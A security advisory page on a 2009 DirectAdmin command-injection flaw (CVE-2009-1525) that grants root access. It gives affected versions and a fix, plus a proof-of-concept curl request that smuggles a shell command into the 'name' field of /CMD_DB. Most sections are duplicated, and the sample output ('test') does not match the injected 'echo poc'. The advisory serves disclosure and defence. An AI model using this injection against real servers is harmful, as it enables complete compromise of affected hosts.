DirectAdmin '/CMD_DB' Restore Action Local Privilege Escalation Vulnerability
BID:34678
Info
DirectAdmin '/CMD_DB' Restore Action Local Privilege Escalation Vulnerability
| Bugtraq ID: | 34678 |
| Class: | Input Validation Error |
| CVE: |
CVE-2009-1525 |
| Remote: | No |
| Local: | Yes |
| Published: | Apr 22 2009 12:00AM |
| Updated: | May 14 2009 06:56PM |
| Credit: | An anonymous reporter discovered this issue. |
| Vulnerable: |
JBMC Software DirectAdmin 1.33.3 JBMC Software DirectAdmin 1.30.2 JBMC Software DirectAdmin 1.30.1 JBMC Software DirectAdmin 1.292 |
| Not Vulnerable: |
JBMC Software DirectAdmin 1.33.4 |
Discussion
DirectAdmin '/CMD_DB' Restore Action Local Privilege Escalation Vulnerability
DirectAdmin is prone to a local privilege-escalation vulnerability because it fails to sufficiently validate user-supplied data.
An attacker can exploit this issue to execute arbitrary commands with superuser privileges. Successfully exploiting this issue will result in the complete compromise of affected computers.
Versions prior to DirectAdmin 1.33.4 are vulnerable.
DirectAdmin is prone to a local privilege-escalation vulnerability because it fails to sufficiently validate user-supplied data.
An attacker can exploit this issue to execute arbitrary commands with superuser privileges. Successfully exploiting this issue will result in the complete compromise of affected computers.
Versions prior to DirectAdmin 1.33.4 are vulnerable.
Exploit / POC
DirectAdmin '/CMD_DB' Restore Action Local Privilege Escalation Vulnerability
To exploit this issue, attackers need local access and readily available tools.
The following example is available:
On client: curl -n -F action=restore -F domain=www.example.com <http://www.example.com>
-F '[email protected]' -F method=default -F 'name=poc_db;echo poc >
/etc/poc' http://www.example2.com:2222/CMD_DB
On server:
$ ls -la /etc/poc
-rw-r--r-- 1 root root 5 Apr 22 10:30 /etc/poc
$ cat /etc/poc
test
To exploit this issue, attackers need local access and readily available tools.
The following example is available:
On client: curl -n -F action=restore -F domain=www.example.com <http://www.example.com>
-F '[email protected]' -F method=default -F 'name=poc_db;echo poc >
/etc/poc' http://www.example2.com:2222/CMD_DB
On server:
$ ls -la /etc/poc
-rw-r--r-- 1 root root 5 Apr 22 10:30 /etc/poc
$ cat /etc/poc
test
Solution / Fix
DirectAdmin '/CMD_DB' Restore Action Local Privilege Escalation Vulnerability
Solution:
The vendor has released updates. Please see the references for details.
Solution:
The vendor has released updates. Please see the references for details.
References
DirectAdmin '/CMD_DB' Restore Action Local Privilege Escalation Vulnerability
References:
References:
- DirectAdmin Homepage (DirectAdmin)
- Resolved issue with database backup/restore (DirectAdmin)